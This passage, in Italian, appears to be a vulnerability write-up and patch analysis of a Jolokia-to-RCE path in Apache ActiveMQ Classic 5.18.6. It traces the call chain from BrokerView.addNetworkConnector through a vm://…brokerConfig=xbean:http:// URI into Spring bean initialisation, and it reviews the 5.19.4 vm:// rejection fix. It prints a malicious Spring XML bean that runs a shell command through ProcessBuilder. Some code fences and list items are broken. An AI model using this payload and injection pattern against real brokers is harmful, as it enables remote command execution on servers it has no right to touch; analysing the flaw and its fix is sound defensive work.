public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
Carica le definizioni dei bean dalla risorsa fornita:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }
Il metodo `AbstractApplicationContext.refresh()` di Spring inizializza quindi il bean factory e istanzia i bean singleton non lazy:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
finishBeanFactoryInitialization() chiama:```java
beanFactory.preInstantiateSingletons();
`DefaultListableBeanFactory.preInstantiateSingletons()` crea ogni bean non astratto, singleton, non lazy:```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
Durante l'inizializzazione del bean, Spring richiama i metodi init personalizzati:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }
Il metodo init personalizzato viene risolto dalla definizione del bean:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
invokeCustomInitMethod() invoca il metodo in modo riflessivo:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
Un bean Spring XML malevolo come:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
causa il seguente comportamento:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()
Ciò avviene prima che `XBeanBrokerFactory.createBroker()` convalidi il contesto risultante cercando un bean `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
La validazione del broker avviene dopo il refresh del contesto Spring. Di conseguenza, una configurazione può eseguire metodi di inizializzazione arbitrari e ancora essere rifiutata in seguito come configurazione di broker non valida.
La causa principale è un ponte architetturale non sicuro tra un'operazione di gestione richiamabile da remoto e i meccanismi fidati di bootstrap del broker locale.
Il design vulnerabile ha queste proprietà:
exec per gli MBean di gestione del broker ActiveMQ.BrokerView.addNetworkConnector(String) accetta input URI controllato dall'attaccante.static:(...) fa sì che l'URI racchiuso venga connesso automaticamente quando il connettore di rete si avvia.vm:// non è solo un trasporto in-VM; supporta anche la creazione automatica di un broker quando il broker VM nominato è assente.VMTransportFactory tratta brokerConfig come un URI di factory del broker e lo inoltra a BrokerFactory.createBroker().BrokerFactory supporta URI xbean: tramite XBeanBrokerFactory.XBeanBrokerFactory accetta risorse URL e costruisce un ResourceXmlApplicationContext di Spring.BrokerService valido solo dopo che Spring ha già inizializzato il contesto.Non si tratta semplicemente di "validazione dell'input impropria" in isolamento. Il comportamento vulnerabile è causato dall'esposizione di un interprete URI in grado di configurare attraverso un'operazione JMX runtime e dal permettere a tale interprete di raggiungere l'esecuzione del ciclo di vita dei bean Spring.
Il fallimento preciso è che l'API di gestione tratta discoveryAddress come un indirizzo di connettore, ma lo stack di trasporto a valle lo tratta come configurazione eseguibile. Nel percorso di exploit, la stringa viene valutata come:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
La validazione avviene troppo tardi poiché l'unica validazione della configurazione del broker in `XBeanBrokerFactory` avviene dopo:```java
new ResourceXmlApplicationContext(resource)
e quel costruttore esegue:```text refresh() -> preInstantiateSingletons() -> init-method invocation
Quando ActiveMQ determina che l'XML non ha un valido `BrokerService`, i bean Spring controllati dall'attaccante potrebbero già essere stati eseguiti.
---
### Analisi della Patch
Il diff pertinente è stato revisionato con:```bash
git diff activemq-5.18.6..activemq-5.19.4
La modifica rilevante per la sicurezza si trova in:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
In 5.18.6, `addNetworkConnector()` ha inoltrato direttamente la stringa:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
In 5.19.4, è stata aggiunta una validazione prima di chiamare BrokerService:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
La stessa validazione è stata aggiunta a `addConnector()`:```diff
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
Il validatore rifiuta gli schemi di trasporto vm:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }
Il percorso di esecuzione corretto diventa:```text
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
Questo blocca l'exploit prima che la richiesta raggiunga:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()
La patch non rimuove il supporto del trasporto VM a livello globale. Limita l'uso di `vm://` attraverso i metodi di creazione del connettore `BrokerView` esposti a JMX. I percorsi di codice interni o attendibili che utilizzano il trasporto VM esistono ancora.
Non è stata apportata alcuna modifica rilevante per la sicurezza a `VMTransportFactory.doCompositeConnect()` tra 5.18.6 e 5.19.4. Il comportamento di `brokerConfig` rimane:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
Nessuna modifica rilevante per la sicurezza è stata apportata a XBeanBrokerFactory.createApplicationContext() in questo diff. Le risorse URL remote e il comportamento di Spring ResourceXmlApplicationContext rimangono disponibili per il caricamento affidabile della configurazione del broker.
BrokerFactory è passato da un FactoryFinder grezzo a un FactoryFinder<BrokerFactoryHandler> tipizzato:```diff
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
= new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
BrokerFactoryHandler.class, null);
Questa è una pulizia di type-safety, non la mitigazione RCE. Il dispatch basato su schema verso `XBeanBrokerFactory` rimane.
`BrokerService` ha ottenuto controlli `isAutoStart()` per l'avvio del connettore in alcuni percorsi:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
Questa non è la correzione principale per il percorso Jolokia-to-RCE. La mitigazione principale è il rifiuto pre-dispatch di vm:// in BrokerView.
Riepilogo del comportamento della patch:
BrokerView.addNetworkConnector() accetta static:(vm://...?brokerConfig=xbean:http://...) e lo passa a valle.BrokerView.addNetworkConnector() convalida l'URI fornito prima della creazione del connettore e rifiuta l'uso annidato di vm://.VMTransportFactory può consumare brokerConfig controllato dall'attaccante raggiunto dal percorso JMX.VMTransportFactory supporta ancora brokerConfig, ma il percorso JMX esposto viene bloccato prima della risoluzione del trasporto VM.Il percorso esatto del codice vulnerabile in ActiveMQ Classic 5.18.6 è:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()
Lo sfruttamento è possibile perché ActiveMQ espone un'operazione di gestione che accetta un URI del connettore, ma l'implementazione del trasporto a valle può interpretare quell'URI come configurazione di creazione del broker. Il parametro `brokerConfig` passa dalla logica di connessione del trasporto alla logica della fabbrica del broker. Con un valore `xbean:`, passa nuovamente nell'elaborazione XML di Spring.
La primitiva di esecuzione di Spring non è un bug separato di deserializzazione. È un comportamento normale del ciclo di vita di Spring: un bean singleton non lazy viene istanziato durante l'aggiornamento del contesto e viene invocato il suo `init-method` configurato. Un bean `java.lang.ProcessBuilder` con `init-method="start"` esegue quindi un processo durante l'inizializzazione del contesto dell'applicazione.
Il fallimento della validazione è un difetto di ordinamento. ActiveMQ convalida se la configurazione XBean contiene un `BrokerService` utilizzabile solo dopo che `ResourceXmlApplicationContext` ha già caricato l'XML e inizializzato i bean singleton. Il rifiuto della configurazione del broker dopo l'aggiornamento non annulla gli effetti collaterali dei metodi del ciclo di vita dei bean.
La patch 5.19.4 mitiga questo percorso specifico aggiungendo la validazione dell'URI in `BrokerView` prima della creazione del connettore e rifiutando l'uso del trasporto `vm://` dalla superficie di gestione JMX. La patch blocca il percorso esposto verso `VMTransportFactory.doCompositeConnect()`; non rimuove `brokerConfig`, il supporto `xbean:` o il caricamento di Spring XBean da percorsi di configurazione interna affidabili.